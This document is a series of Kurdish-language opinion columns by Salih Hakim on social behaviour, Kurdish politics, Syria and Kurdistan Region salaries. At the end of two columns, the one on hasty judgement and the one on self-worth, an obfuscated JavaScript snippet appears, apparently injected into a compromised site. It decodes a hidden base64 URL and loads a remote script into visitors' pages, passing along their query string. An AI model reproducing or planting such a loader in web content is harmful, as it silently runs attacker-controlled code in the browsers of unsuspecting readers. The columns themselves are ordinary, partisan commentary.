سالح حەكیم

خوە مەزنكرن د جڤاكی دا دیاردەیەكا كەڤنە نۆكە ژی دهەموو جڤاكێن دونیایێ دا، دهێتە دیتن، لێ جوداهیا جڤاكەكی ژ جڤاكەكێ دی  هەتا رادەیەكی جێوازی هەیە، تایبەتی ئەو جڤاكێن رۆژهەلاتا ناڤین هەتا نوكە ژی ب دەڤێ بێ ددانیا خوە دیاردەیا خوە مەزنكرنێ یا زالە، تاك ب پەحنكا دەڤێ خوە دچین، بێ تام دهاڤێژیت ما ئەو خۆدیكا تاك ب رەفتارا خوە دەرز و تیك بكەت دێ چاوا جڤاك ب جوانی خوە تێدا بینیت؟ پێدڤیە بزانین خوە مەزنكرن كەفتن و شكەستنا دەستپێكا هەر كارەكێ مرۆڤی یە، ئەڤجا هەرچو سالۆخەت و پێرا بوونا تۆ ئەنجام بددەی ئەو سلۆگان و كەسایەتیا تە تەمام تێدا دیاردكەت كا سەنگ و بهایێ تە چیە ناڤ وێ كۆمەلگەهی یێ تۆ بزاڤ و ڤەلڤینێن خوە رۆژانە تێدا پارڤە دكەی، ب حۆكمێ وی كارێ تۆ دكەی و دهێی نیاسین پرانیا ئەو مرۆڤێن خوە مەزن دكەن، ب دیتنا من ژلایێ هزركرنێ ڤە نە رێكخستینە بەلكۆ پتر د وی بیاڤی دا خوە دبینن سەر هەموو كێماسێن خوە مەزتنر دبینن، چونكی دبنیاتدا هندە كەسن هەر چ ژ پاشەرۆژێ نینە ب كریارێن خوە د هەرڤتینە، نابیت ئەم سەر پرەنسیپەكێ شاش ب پێناڤەكی ناڤبكەین كو دوور نێزیك ئەو شیان نەبن داكو پاشی دناڤ وان خەون و خەیالان دا بەرزەنەبین، لێ یا من دڤێت پتر ئاماژێ پێ بكەم نابیت ئەم نە ب پارە و مالێ خوە نە ب زانست و زانینا خوە، نە ژی ب هێزا بنەمالا خوە هەر دیسا نە ب پلەو پۆستێ خوە ئەو كارتێكرن لتە ببیت و ببن هۆكارێن خوە مەزنكرنێ چونكی ئەو كەسێن ئەڤەبیت درویشمێ وی پێ نەڤێن دێ ل جهەكی راوەستیت نا گەهیتە وان هەموو قۆناغێن سەركەفتنێ هەكە مە بڤێن وان كەسان باشتر بنیاسین رەفتار و كریارێن وان دیارن دفن بلندن د ناڤ جڤاكی دا، ئەوێن روویێن خوە ل خەلكی د وەردگێڕن كەسێن بەرانبەری خوە ب چاڤەكێ كێم دبینن ب زمان.

سالح حەكیم

تابلۆیێ ئەقلێ مرۆڤێ پێگەهشتی، بۆ پڕەنسیپێن جڤاكەكێ پێشكەفتی، كەڤالەكێ بەرهەمدارە د ڕەنگ و وێنەی دا، ئەم هەموو تابلۆیا وێنەیێ چەستەیێ خوە د ئێك وێنەدا دبینین، لێ وی وێنەیێ مەژیا د ڤەژینیت، ب گەلەك ڕەنگ و شێوازێن جوداتر دهێنە دیتن، ئەو یەكە ژی ل دووف شیان و هەلبژارتنا مرۆڤی دمینیت، كا ئەو ساخلەتێن مرۆڤی بۆ ژیانێ ل سەر چو بنەما دروست بووینە یان تە چو بەهرە هەیە نیشا جڤاكی بدەی، هینگێ مێژو دێ وێ ڕاستیێ سەلمینیت.
هەر دەمێ‌ مەژیێن مرۆڤان بوونە بەندە و ئێسیرێ ناخەكێ پێژانكری، هینگێ ئەستەمە مرۆڤ بشێت تابلۆیێ وێنەیێ خوە یێ ژیانێ ب دیوارێ هزرێن خوە یێن جوانڤە ب هەلاویسیت و وەكو كەڤالەكێ دیرۆكی بمینیت، لەورا پێدڤیە ئەلترناتیڤا مەژیێن خوە بەرەف وەراربوون و داهێنانێ ڤە ببەین، ب لۆژیك كار لسەر بكەین، داكو بشێین بیتە هاندەرێ هێزێ بۆ پەرپاكرنا كۆمەكا شیانێن دیێن هزری د نیشاندانا وێنەی دا، بۆ چاڤێن تەماشەڤانی، ئەرێ هەتا چ ڕاددە ئەم شیاینە دەوروبەران ژ ئەدایا داهێنانا خوە رازی بكەین، وەك جڤاك بۆچی هەر دێ بینە فاكتەرێ پاشكەفتنا خوە د نیشادانا وێنەی دا، ئەو داهێنانا مرۆڤ ب رێیا مەژیێ خوە دكەت هەكە ببینین وان جڤاكێن وێنەیێ ڕویێ وەلاتێ خوە گەش و جوانكری، تاكە كەسێ وێ دەستپێكێ كارێ سەر بزاڤا مەژین خوەیا كری، پاشی شیانێن وی بووینە باندۆرەكا كاریگەر د درۆستكرنا وێنەی د هەموو جڤاكێن دونیایێ پێدڤی ب تاكێ داهێنەر و هزرمەند هەیە، چونكی بتنێ ئەو جۆرێ مرۆڤی، دشێن ببنە كلیلا دەرگەهێ كۆمەلگایەكێ هۆشیار و ئاڤرینەر.

سالح حەكیم

جهێ شانازیا مە كوردایە كەسایەتیێن خودان شیان ب هێز و بزاڤ مینا برێز نێچیرڤان بارزانی مە هەبن، كاڕڤەدانا سیاسەتا بەرێزی باندۆر ل جیهانێ هەموویێ كریە كەسایەتیا وی دەنگڤەدایە، وەكو نموونە كۆڕبەندێ مۆنشن یێ ئەڤسالە پێشبەریا سەركردەیێن و مللەتەكێ كورد ژ هەر سەركردەیێن جڤاك و مللەتێن دن یێ دونیایێ تێدا جوان و دیار هاتە بەر چاڤكرن، بۆ پتریا وان وەلاتان وەسا دهاتە سەلماندن، كورد خودی كارێزما دۆبلۆماتكارێن مەزنە، نێچیرڤان بارزانی ب زانابوونا خوە هەولدا ناڤ و رەوشت تیتالێن جڤاكا كوردی بۆ هەموو جیهانێ بددەتە نیاسین، كا خواست و داخوازێن كوردستانیان چنە، ب گشتی و تایبەتی ئارمانجا كوردان ژ ئیراقا ئێكگرتی چیە، مافێ كوردان چاوا هاتیە بەرزەكرن، دەستهەلاتدارێن بەغدا چ ب سەرێ خەلكێ ئیراقێ ب گشتی ئینایە تایبەتی مافێ كوردان چاوا بنپێكرینە، ئەو وەلاتێ دبێژنێ عیراق حوكمڕانێن وێ دەرئەنجام بۆ كیڤە برینە، هەڤدیتنا برێز نێچیرڤان ل گەل كەسایەتیێن سیاسی مەزنە بەپرسێن جودا جودا ب دیتنا من خالەكا گرنگا ئەرێنی پۆزەتیڤە، ل ڤی دەمی چ د راستا خوە یان نە ڕاستاخوە قازانجێن خوە هەنە، بۆ پاشەرۆژا كوردان، لێ ئەم نابێژین هەر دەمێ گاڤێن كوردان ب باشی ژ لایێ دەولەتا زلهێزێن جیهانی ڤە بهێتە سەلماندن، ئێدی خلاس پرسگریگێن مە كوردان ل گەل هەڤسویێن مە دێ هێنە چارەسەركرن، دێ هەموو مافێن كوردان بدەستڤەهێن، نەخێر بەلێ گاڤێن نهۆ دهێنە هاڤێتن ب ئەكتیڤ و ڕەواجا هێزا هەبوونا كوردان ل وەلاتێن رۆژهەلاتا ناڤین و دونیایێ ب باشی و بەرز و بلندی دهێنە وەسفكرن، كارتێكرن و درب و ترسەكا هەری كاریگەر د دڵ و دەروونێن دوژمنێن كوردان ڤە دزانیت، لەو ڕەنگە ئەو د ئاگرێ نەزانینا خوەدا بسۆژن، چاڤپێنەڕابوون چاڤنەبارێن عەرەب، دەق و ئاخڤتنێن وان دژی كارێزما و دۆبلۆماتكار و كارئەكتەرێ رۆژهەلاتا ناڤین برێز نێچرڤان بارزانی، ب دیتنا من دەرمانێ چو ژێنەهاتنێ یە، چونكی ناڤبری خودان پێگەهەكێ سیاسیێ ب هێزە ل ڤان وەلاتان بێ ڕكابەر، لەو بێ هەبوونا نێچیرڤان بارزانی چو پڕسگریك سیاسی نە ل ئیراقێ نە ژی وەلاتێن جیران چارە نابن.

سـالح حـەكیم

جڤاكا مە یێ پڕە ژ دابونەریتان، لێ هندەك ژ وان وەسانە تو نەشێی ل گەل برێڤە نەچی، هندەكان ژی ژلایێ جڤاكی ڤە سنوور بۆ هاتینە دانان، مەرم ژ ڤێ گۆتنێ ژێ؛ بەحسكرنە ژ دەربرینا كەسی د جڤاكێ دا، داكو بۆ تێگەهشتنا بابەتی باشتر شرۆڤەبكەین ژ بەری بریار دانێ ل وی دمی مە پتر پێدڤی هزركرنێ هەیە ژ عاتیفێ نا دا بشێن سەر شەنگسەیێن بابەتی بگەهین لەو هزركرن بلا بیتە پەیرەوێ ژیانا مە یا رۆژانە فەرە بۆچوونا مرۆڤان بەر چاڤ بهێتە وەرگرتن دەربرینێ ژ بۆچوونێن خوە یێن كەسوكی دكەت، یان باشتر بشێن داهینانێ د پەیرەو پرۆگرام و سیستەمێ كارێ خوە دا بكەت، لێ هێشتا وەكو پێدڤی مە ئەو پرۆگرام ل دەڤ خوە ئاڤانەكریە لەو ئەڤە پرسگریكا پتریا وەلاتێن رۆژهەلاتا ناڤەراستە ب ڤێ ئێش و دەردی دنالن بەردەوام ب رێكێن تورێن جڤاكی ئێكدوو بریندار دكەن، ژ بەركو تا نهۆ ژی ئەڤ وەلاتە كەس هەنە ل سەر پرەنسیپێ مایتێكرن و مرۆڤ مرۆڤكانێ و عەشیرەتگێریێ دژین. بۆ ئاڤاكرنا پێگەهـ و بۆچوونا كەسێ ئازاد دڤێت بهایەكێ مەزن ب ڤی جۆرێ ئازادیێ بهێتەدان، كەس كەسێ نەشكێنیت داكو هەر كەس مافێ خوەیێ دەربرینێ شادبیت ژ بیرۆ بۆچوونێن خوە بكەت بێ لایەنەكی یان كەسەكی برینداربكەت یان زیانێ بگەهینیتە تەخوچینێن جودا یێن جڤاكی ئازادی مافێ ژیانا هەر كەسییە بۆ خوە هەلبژێریت، ئانكو نابیت ئەز یێ ئازادبم و دەربرینێ ژ هندەك تێگەهان بكەم، ب تنێ بەرژەوەندیا بخوازم نانێ خوە ب ئاڤكا خەلكی بخۆم یان وەكی وێ گوتنێ رەخەكێ ئەزمانێ مرۆڤی بەهەشت بیت رەخەكێ دی جەهنەم بیت نابیت ئەز ئەزیێ بكهینە دترازیا جڤاكی دا پێل سنۆرێن ئازادیا خەلكی دانین و زمانەكێ زڤر و تال بێ سەدەم و بنەما هندەك بناڤێ سۆشیال میدیا بەس كارێ وان شكاندن پێشیلكرنە بۆهتانان دروست دكەن و بووینە بەنیشتێ دەڤێ خەلكی بگشتی خەلك ژێ بێزاربووینە جارێ ئەز بخوە نابێژمە وی رەنگ و جۆرێ مرۆڤان وێرەكی ئازادییا كەسی بەلكو بەرۆڤاژی هەموو پێرابوونێن وان كەسان دوورن ژ رەفتارێن جڤاكبوونێ چونكی هەول و بزاڤێن هندەكان بتنێ نەڤیانە بۆ گاڤ و پێشداچوونەكا مللەتی یان بێژین دویرن ژ كولتۆر و دابونەریتێن جڤاكی بێ هەلسەنكاندنا رەفتارا دترزایا تاكەكەسیێ دا خوە كێشابیت بۆ هەمی تەخوچینێن جڤاكی بووینە كێشە.

خیزان ئانكو ژ كۆمەكا مرۆڤان پێك دهێت، ل ژێر ئێك ئاڤاهی پێكڤە سەرئەڤرازی و سەرنشیڤیان ب هەموو خۆشی و نەخۆشیان ڤە ب هەڤرابوون د بۆرینن، بەرژەوەندی و زیانبەخشیا وان یا خێزانی ئێكە چونكی سەر ئێك سفر نانی دخۆن و تەمامكەرێن ئێكدونە د هەموو بیاڤێن ژیانێ دا، پێ نەڤێت پتریا جاران بڕیارا هەموو ئەندامێن خێزانێ ل جهەكی كۆم دبن و بۆ بەرژەوەندییا گشتی ئێكلادبن مەرەم هەر بۆ پێشڤەبرنا خێزانێ یە یان پاراستنا تاكێ وێ خێزانێ یە یێ جهێ بەرپرسایەتیێ دگریت لەو ئەو بڕیار بۆ بەرژەوەندیا وێ كۆما مرۆڤان د گرنگن پێ نەڤێت هەموو خێزانێن بچووك ب بۆرینا دەمێ مەزن دبن بەرە ب وەراربوونێ ڤە دچن لەوا جودا بوون ژی بڕیارا ئەندامێن خێزانێ گرنگترە ژ بڕیارا تاكە كەسی پتریا جاران بەرژەوەندی وەسا دخوازن تۆ وەك سەرۆك خێزان بڕیارا جودا بوونێ بدەی، لێ هەكە بشێی خوە دگەل كاودانێن ژیانێ بگونجینی ژ خێزانا خوە یا مەزن جوداببی چونكی جودا بوون سوونەتا ژیانێ یە، وەكو چاوا پێكئینانا هەڤژینیێ سوونەت لەو چ زوو چ درەنگ دێ جودا بوون پەیدابیت، ژبۆ خۆشكرنا ژین و ژیارا رۆژانە كو ئەڤە كارەكی ئەرێنی و سروشتیە د ناڤا هەموو جڤاكێن جیهانی دا هەیە، داكو تاك بشێن باشتر خوە رێكوپێك بكەن، چو ژلایی كەلوپەل و پێدڤیێن ژیانێ ڤە، یان ژلایێ پەروەردەكرنا زارۆیین خوەڤە، چونكی د جڤاكی مەدا پتریا خێزانان ژ گەلەك كەسان پێك دهێن كو سەمیان نەشێت ب دروستی ب ئەركێ پەروەردەكرنا خێزانی راببیت، ژبەر كارتێكرنا ئەندامێن خێزانی ژ گەلەك روویان ڤە، گەلەك جاران مایتێكرن د ئەڤێ چەندێ دا دبیت گەلەك كەس هەنە جودابوون بۆ وانا نەخۆشە، ئێك ژ وان ئەگەران ژی وی كەسی باوەری ب خوە نینە كو بیتە سەمیانێ خێزانەكێ و پاشی بشێت ب جوانی وێ خێزانی پەروەردە بكەت، ئانكو هزر د شكەستنێ دا دكەت، لەورا نەڤێت بیتە سەمیان یان نەڤێت ژ خیزانا مالباتێ دوور بكەڤیت.

سالح حەكیم

پشتی شاندێن ئەورۆپا سەرەدانا سووریێ‌ كری؛ ڕەنگە گەلەك پێشهات و گورانكاری بهێنەكرن لەو ئەو شاندە دخوازن ژ نێزیك هایداری پرۆژەیێ جۆلانی و حوكمەتا دەمكی یا سووریێ ببن، ئەڤجا لدویڤ رەفتارا دانوستاندنا وان شاندێن رۆژانە سەردانا سووریێ دكەن دمینیت ڕەنگە ژی جهێ رازەمەندیا وان نەبیت، دبیت ژی ئەورۆپا ب گشتی و ئەمریكا ب تایبەتی پشتەڤانیا حوكمەتا سووریا بەروەخت نەكەت هەكە ل گۆڕ سیاسەتا ستراتیژیا وان نەگونجیت یان ئەو شاندێن ناڤبری هەكە دگەل پرۆژێ ئەمریكا و ئەورۆپا نەهێنە ئاشێ هویر، لەو دبیت ئەو حوكمەت هەر زوو بهێتە هەلوەشاندن پرۆژەیێن وێ یێن سیاسی سەرنەگریت، دیسا شەرۆ ئالۆزی ل دەڤەرێ رووبدەن یان هەكە بەرۆڤاژی جۆلانی دگەل شاندێن ئەورۆپا بگونجیت ب دانوستاندیێن خوەدا یێ ئەرێنی بیت هەماندەم دا مافێن پێكهاتەیێن سووریێ بهێنە گەرەنتیكرن ژ لایێ شەرعی ڤە كو د بەرژەوەندییا حوكمەتا سووریێ دابیت ل گۆر پرۆژێن ئەمریكا و ئەورۆپا بیت بۆ سووریا نوی، چونكی ئەو وەسا دخوازن دەولەتەكا دیمۆكراتیخواز ل وی وەلاتی پەیداببیت دا بشێت بۆ پاشەرۆژا سووریایێ بەرەڤ باشتربوونێ ڤە ببەن، پێنەڤێت ئەمریكا دخوازیت هندەك دەرگەهێت ستراتیژی و سیاسی بهێنە ڤەكرن نە بەس بۆ سوریایێ بەلكۆ ل رۆژهەلاتا ناڤین هەمیێ مەرەم ژێ بۆ پێشڤەبرنا وان وەلاتانە ئەڤێن چیڤێ دارێ زۆریێ ل سەرهلدای لەو فەرە جۆلانی پەیوەندیێن خوە دگەل هەڤسنۆرێن خوە خوەشكەت ئێمناهیا وەلاتی بپارێزیت، دڤێت مافێ چو نەتەوایێن جودا نەهێنە بنپێكرن دا بكاریت گوزەرانیەكا باشتر بۆ گشت وەلاتیێن وەلاتێ خوە پەیدابكەت تایبەتی ژ ئالیێ هەڤسنۆر و هەڤپەیمانیێن خوەڤە چو دەستتێوەردان نەهێنە ئەنجامدان ژ لایێ وێ بزاڤێ ڤە دا بشێت وەلاتەكێ نموونە سەر پرەنسیپێن لێكتێگەهشتێ بنە بنگەه و پێگەهێ هەمی ئالیێن سیاسی ل وەلاتێ سووریایێ لێ وەكو دیار جۆلانی هەڤپەیمانە ل گەل ئەردۆگانی ئەرێ ئەڤا ئەو دخوازن دێ چ ل دەڤەرێ ب تایبەتی هەماندەم دا وەلاتێن جیران ب گشتی روودەت وەكو نموونە تركیا پرۆژێ خوەیێ ئاشتێ یێ بەرپاكری بۆ سەقامگێریا تركیا ئەڤ گاڤێن نوو دانە بەر، لێ ئەو تەپا تركیا بۆ ئاشتیێ هاڤێتی د ساحێ دا پرس ئەوە دێ هەدەفێ ئینیت؟ یان بەروڤاژی بتنێ بۆ بەرژەوەندیا نفشێ ئوسمانیا كاردكەن هەكە تركیا ب كریار پێڤاژۆیا ئاشتیێ نەكەت یان دانپێدانێ ب مافێ كوردان نەكەت رەنگە تووشی لێدان و قەیرانێن مەزن ببیت، لەو توركیا ئەڤرۆ ژ هەر وەختەكی پتر پێدڤی پرۆسسا ئاشتیێ یە، دا بكاریت خوە دگەل گۆرانكاریێن نها بگونجینیت نەكەڤیت بن كۆنترۆلا شاشیێن خوە، لەو تركیا نەچارە دانپێدانێ ب مافێن كوردان بكەت، چونكی ئەورۆپا و ئەمریكا ب هەڤڕا سیاسەتەكا ستراتیژی یا نوی بۆ دەڤەر و وەلاتێن رۆژهەلاتا ناڤین هەیە.

سالح حكیم
گرێدانا مرۆڤی ب كارى ڤه‌ پێنه‌ڤێت مه‌ره‌م ژێ په‌یداكرنا نانێ رۆژانه‌یێ ژیانێ یه‌، له‌و نۆرماله‌ فه‌رمانبه‌ر وه‌كو دیتنا خوه‌ بسه‌لمینیت، مافێ وی یه‌ داخوازا مافێ خوه‌ ژ جهێ به‌رپرسیار بكه‌ت، به‌رانبه‌ری وی كارێ ئه‌نجامدای، فه‌رمانبه‌رێن هه‌رێما كوردستانێ مافێ وانه‌ ل سه‌ر ئیراقێ مووچه‌ بۆ بهێته‌ ڕه‌وانه‌كرن، ژ ئالێ گوزه‌رانی ڤه‌ ژین و ژیارا ڤی خه‌لكی باشتر لبهێت. چونكی مافه‌كێ ڕه‌وایێ گه‌لێ كورده‌، ڤێ داخوازیێ ب هنده‌ك رێكێن جودا خوه‌نیشادانێن جودا ب هه‌لوه‌ستێن جودا نه‌ڕازیبوونا خوه‌ بینن زمان ئه‌و ژی ئێك گۆتاریا نوونه‌رێن كوردستانێیه‌ ل ئیراقێ، ب پڕاكتیك بهێنه‌ سه‌رخه‌ت بۆ به‌رژه‌وه‌ندیێن گشتی كارێن خوه‌ باشتر ئه‌نجامبده‌ن. چونكی ماده‌م ئیراق ناخوازین كوردان هه‌بوونا سنوورێن خوه‌ یێن جودا هه‌بن، ئێك پارچه‌یا خوه‌ بپارێزین، گازێ سه‌ربخوه‌ بفرۆشن پێدڤیه‌ وه‌كو هه‌می پارێزگه‌هێن ئیراقێ مووچه‌ و هه‌می پشكێن دی یێن هه‌رێمێ فه‌ره‌ پێ بهێنه‌دان تایبه‌تی مووچه‌یێن فه‌رمانبه‌رێن هه‌رێمێ بێ گیرۆبوون بهێنه‌ فرێكرن. ب هه‌موو ئه‌و ئالیات و میكانیزمێن باشتر، ژ سالا ده‌ربازبووی بهێنه‌ بكارئینان، بۆ ڕازیكرنا فه‌رمانبه‌رێن هه‌رێما كوردستانێ، ئێدی مووچه‌ نه‌بیته‌ نۆچه‌كێ چاڤه‌رێكرنی، كه‌نگی هات كه‌نگی ئه‌و پرۆسه‌ بۆ ده‌مه‌كی نه‌چاڤه‌رێكری، ڕاوه‌ستیا نابیت ئێدی سۆدانی به‌هانه‌یێن بێ بنه‌ما بۆ نه‌دانا مووچه‌ی بگریت، فرێكرنا مووچه‌ و بۆدجا به‌هرا هه‌رێمێ، كه‌نگی دورسته‌ بیته‌ پرۆپاگنده‌ بۆ حوكمه‌تا سۆدانی وه‌كو خوه‌ كاربكه‌ت ده‌می ژ خه‌لكی بكوژیت، مخابن ئه‌و ب داره‌ ده‌ستێن خوه‌ڤه‌ وه‌سا دبینن، چاندنا شۆڤینیێ و سه‌پاندنا ناسیۆنالیزما عه‌ره‌بكرنێ، دێ شێن هه‌ستا نه‌ته‌وه‌ی ل جه‌م خه‌لكی لاوازكه‌ن ئه‌و رێیا ئه‌و دخوازن مووچێ فه‌رمانبه‌رێن هه‌رێمێ پێ بده‌ن. دێ خه‌لكی بۆ ئالیێ خوه‌ ڕاكێشن، لێ ئه‌و خه‌وه‌نه‌ ب ڤی ئاوای ئه‌و ئێدی نه‌شێن خه‌لكی بخاپینن. نابیت بهێته‌ ژ بیركرن كو كورد ژی پشكه‌ك بوون ژ وێ ئازادییا 2003 یا ئیراقێ ب گشتی. د هه‌موو بیاڤان دا دیموكراسی پێكڤه‌ژیان د هه‌می پێكهاته‌یێن ئیراقێ دا، مووچه‌ مافه‌كێ ره‌وایه‌، بۆچی شه‌ڕێ ده‌روونی ل گه‌ل تاكێ كورد دهێته‌كرن، ئه‌ڤ پێكۆله‌ هه‌می دهێنه‌كرن، تنێ دا هه‌ستا نه‌ته‌وه‌ی ل جه‌م تاكێ كورد نه‌مینیت. ئه‌ڤه‌ ب سه‌دان سالایه‌، وه‌ مافێ ڕه‌وایێ كوردستانیان بنپێكرینه‌، ئه‌ڤرۆ ژی هه‌می بزاڤان دكه‌ت قه‌واره‌یێ ڤێ هه‌رێمێ بچویك بكه‌ت، لێ ئه‌ڤه‌ پرۆسه‌كا ده‌مكى یه‌ ژ حوكمه‌تا سۆدانی ناهێت قه‌بوولكرن.

سالح حه‌كیم
هه‌ر ده‌ما حه‌زا مرۆڤی سه‌ر سنوورێن شیانێن مرۆڤی زالبوون نۆسیبه‌ت هینگێ دێ ده‌ستپێدكه‌ن هنده‌ك ڕه‌فتارێن نه‌چاڤه‌رێكری دێ ده‌ردكه‌ڤن هۆلێ له‌و نابیت ب كلیلا دلێن خوه‌ ده‌رگه‌ها سه‌ر ئێكدو ڤه‌كه‌ین و هه‌مانده‌م دا سه‌ر ئێكدو دابێخێن چونكی دێ ڕه‌نگ و تێكه‌لبوونا مرۆڤان ب ته‌مامی لێكسواركه‌ین لێ هه‌كه‌ ب شێوازه‌كێ جوانتر ئه‌م ڕه‌فتارێن خوه‌ نیشا بده‌ین ب لۆژیك و مه‌نته‌ق سه‌ره‌ده‌ریێ د گه‌لدا بكه‌ین پێنه‌ڤێت دێ ئه‌م ژی سه‌ر رێیا دورست هه‌لبین هه‌موو به‌شێن خوه‌یێن ژیانێ نیاسین هه‌لبه‌ت بێهنفرهیێ ڕێك و میكانیزمه‌كا تایبه‌ته‌ مرۆڤ پێدهێنه‌ چه‌كدارن دابشێن باشتر بریارێن خوه‌یێن گونجای ل ده‌مێن گونجای بده‌ین، بلا وه‌سفا كه‌سێ ژ دویرڤه‌ نه‌كه‌ین دا په‌شێمانی چو بریارێن خوه‌ یێن پێشوه‌خت نه‌بین مه‌زن دبێژن هه‌تا تو باتمانه‌كا خوێ دگه‌ل هه‌ڤالێ خوه‌ یان وان كه‌سێن ته‌بڤێت ژ نێزیك بنیاسی نه‌خوی چو بریارێن شاش و نه‌گونجای ده‌رحه‌ی وی كه‌سان نه‌ده‌ن، هه‌لبه‌ت ئه‌و كه‌سێ شیابیت پێگه‌هێ خوه‌ یێ مه‌عریفی سه‌ر بنیات و پڕه‌سیپه‌كێ دۆرست ئاڤاكربیت ب گۆت گۆتكێن كه‌سێ ژ ناڤناچیت، چنكۆ جارێ ب بریارا كه‌سێ ئاڤانه‌بوویه‌ دا ب بریارا كه‌سێ بهه‌رڤیت یێ شه‌هده‌یێ ب دره‌وا خوه‌ نه‌كه‌ت یێ ئاماده‌نینه‌ ببیته‌ شاهدێ ڕاستگۆیا كه‌سێ گوتنه‌ك هه‌یه‌ دبێژیت شاهدێ ڕووڤی كۆریا ڕووڤیه‌، فه‌ره‌ ب زه‌لالی ئه‌م هه‌می دانپێدانێ ب شاسیێن خوه‌ بكه‌ین هه‌كه‌ ڕاستگۆیێ به‌رگریێ ژ كه‌سایه‌تیا ته‌ نه‌كه‌ت یێ هوشیاربه‌ سه‌رهه‌ڤسارێ دروه‌وێ نه‌گره‌ لدویڤ خوه‌ نه‌ڕاكێشه‌ ئه‌و تشتێ مرۆڤی دوو دل دكه‌ت بتنێ گۆمانه‌ هه‌كه‌ قه‌ده‌را سه‌رهلبوونا ژیانا ته‌ به‌هه‌شت بیت ژ بلی ئامۆژگاریا نابیت ئه‌م گله‌یان ل جه‌هنه‌ما كه‌سێ بكه‌ین پێدڤیه‌ هه‌می گوتنێن ب مه‌ژی بهێنه‌ شرۆڤه‌كرن نه‌ هه‌ر به‌ره‌كێ مه‌ ڤییا لدویڤ حه‌ز و مه‌ودایا كه‌ندالێ دلێ خوه‌ گرێل بكه‌ین له‌و نابیت بێ هزركرن ئه‌م بریارێن كه‌سۆكی بدده‌ین هه‌مانده‌م دا نابیت ئه‌م لدویڤ بایێ سه‌رێ خوه‌ سه‌ره‌ده‌ریێ ل گه‌ل كارێن خوه‌ یێن رۆژانه‌ بكه‌ین.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سالح حكیم
پێدڤیه‌ مرۆڤ ل ده‌ستپێكێ ژ خوه‌ ده‌ست پێ بكه‌ت،كو سه‌نگ و بهایى بده‌ته‌ خوه‌، چنكو ئه‌گه‌ر مرۆڤى سه‌نگ و بها نه‌بن، دبیت ل وى ده‌مى مرۆڤ گرنگیێ ب سه‌نگ و بهایێ كه‌سێ نه‌ده‌ت، ئانكو پێدڤیه‌ مرۆڤ خوه‌ بێ بها نه‌كه‌ت د ناڤ وى جڤاكى ئه‌و تێدا دژیت، هه‌مان ده‌م دا مرۆڤێ هوشیاربیت و بزانیت ئه‌گه‌رێ ژ ده‌ستدانا بهاێ مرۆڤى دێ بیته‌ ئاریشه‌یا مرۆڤى، له‌وا پێدڤیه‌ هه‌ڤسه‌نگى د كێشان و پیڤانان دا هه‌بیت، ل پێناڤێ كارى دێ بینی گه‌له‌ك جاران خودانێ كارى چو سه‌نگ و بهایى ناده‌ته‌ وى كه‌سێ ل جه‌م وى كاردكه‌ت، له‌ورا دێ ده‌ست و دلێ وى ساربن و نه‌شێت به‌رده‌وامیێ بده‌ته‌ كارێ خوه‌، یان به‌روڤاژى ئه‌و كه‌سێ كاردكه‌ت، دڤێت هه‌رده‌م خودانێ كارى جهێ رێزگرتنا وى بیت، له‌ورا پێدڤییه‌ لسه‌ر هه‌ر خوه‌ ژبێ بهاكرنا خه‌لكى دووربكه‌ت، هه‌لبه‌ت به‌رده‌وام رێزگرتنا ته‌ بوو خه‌لكى دێ مێشكێ ته‌ ده‌وله‌مه‌ند كه‌ت ل ڤێره‌ بۆ مه‌ دیاردبیت كو بێ زانین مرۆڤ نه‌شێت كاروانێ ژینا خوه‌ به‌رده‌وامیێ بده‌تێ، ئه‌ڤ زانینا زانا و بسپۆرێن ب ڤى وارى ڤه‌ گرێدای به‌حس ژێكرى ب لایه‌نه‌كی بتنێ یێ ژیانێ ڤه‌ گردایى نینه‌، به‌لكو هه‌موو لایه‌نێن زانینێ د پێویستن كو هه‌ر كه‌سێ بڤێت ره‌وشتێ وى یێ ته‌مام و ره‌وشه‌نبیربیت، دێ شه‌هرزایى لده‌ڤ په‌یدابیت و ئه‌ڤان جۆره‌ سه‌ربۆران ب باشی هه‌لسه‌نگینیت، گه‌له‌ك جاران سه‌را بچووكترین په‌یڤ دێ سه‌نگ و بهایێ خوه‌ ژ ده‌سده‌ت، یان ئه‌و هزر و را و بیر و بۆچوونێن وى لسه‌ر ڤى ده‌مى ناگونجن، بتایبه‌تی دگه‌ل ره‌وشت و تیتالێن جڤاكى، ده‌مێ مرۆڤ گه‌نگه‌شێ دگه‌ل كه‌سه‌كى دكه‌ت مهره‌م ژ بێ رێزیا وى بیت، بێگومان ئه‌ڤه‌ كاره‌كێ نه‌ره‌وایه‌ و دڤێت مرۆڤ ل جه‌م كه‌سانێن وه‌كى خوه‌بیت، گۆتنه‌كا مه‌زنان هه‌یه‌ دبێژیت (هه‌ر ته‌یره‌ك دگه‌ل ره‌فا خوه‌)، ئانكو نابیت ئه‌گه‌ر تو بزانى ١٠٠٪ ئه‌ڤ كه‌سه‌ چو ژ رێزگرتنێ نزانیت، سه‌نگ و بهایى ناده‌ته‌ ته‌، له‌وا پێدڤیه‌ تو هه‌ڤالینیا وى نه‌كه‌ی لده‌ڤ نه‌رۆنی یه‌ خوار، مه‌به‌ست ژ ڤێ چه‌ندێ ئه‌وه‌ ئه‌و كه‌س مفایێ ته‌ ناكه‌ن، یان سه‌نگ و بهایى ناده‌نه‌ ته‌، ئه‌گه‌ر سه‌ربۆرا په‌روه‌رده‌كرنێ و زانینێ ل جه‌م ته‌ په‌یدا نه‌بیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سالح حه‌كیم
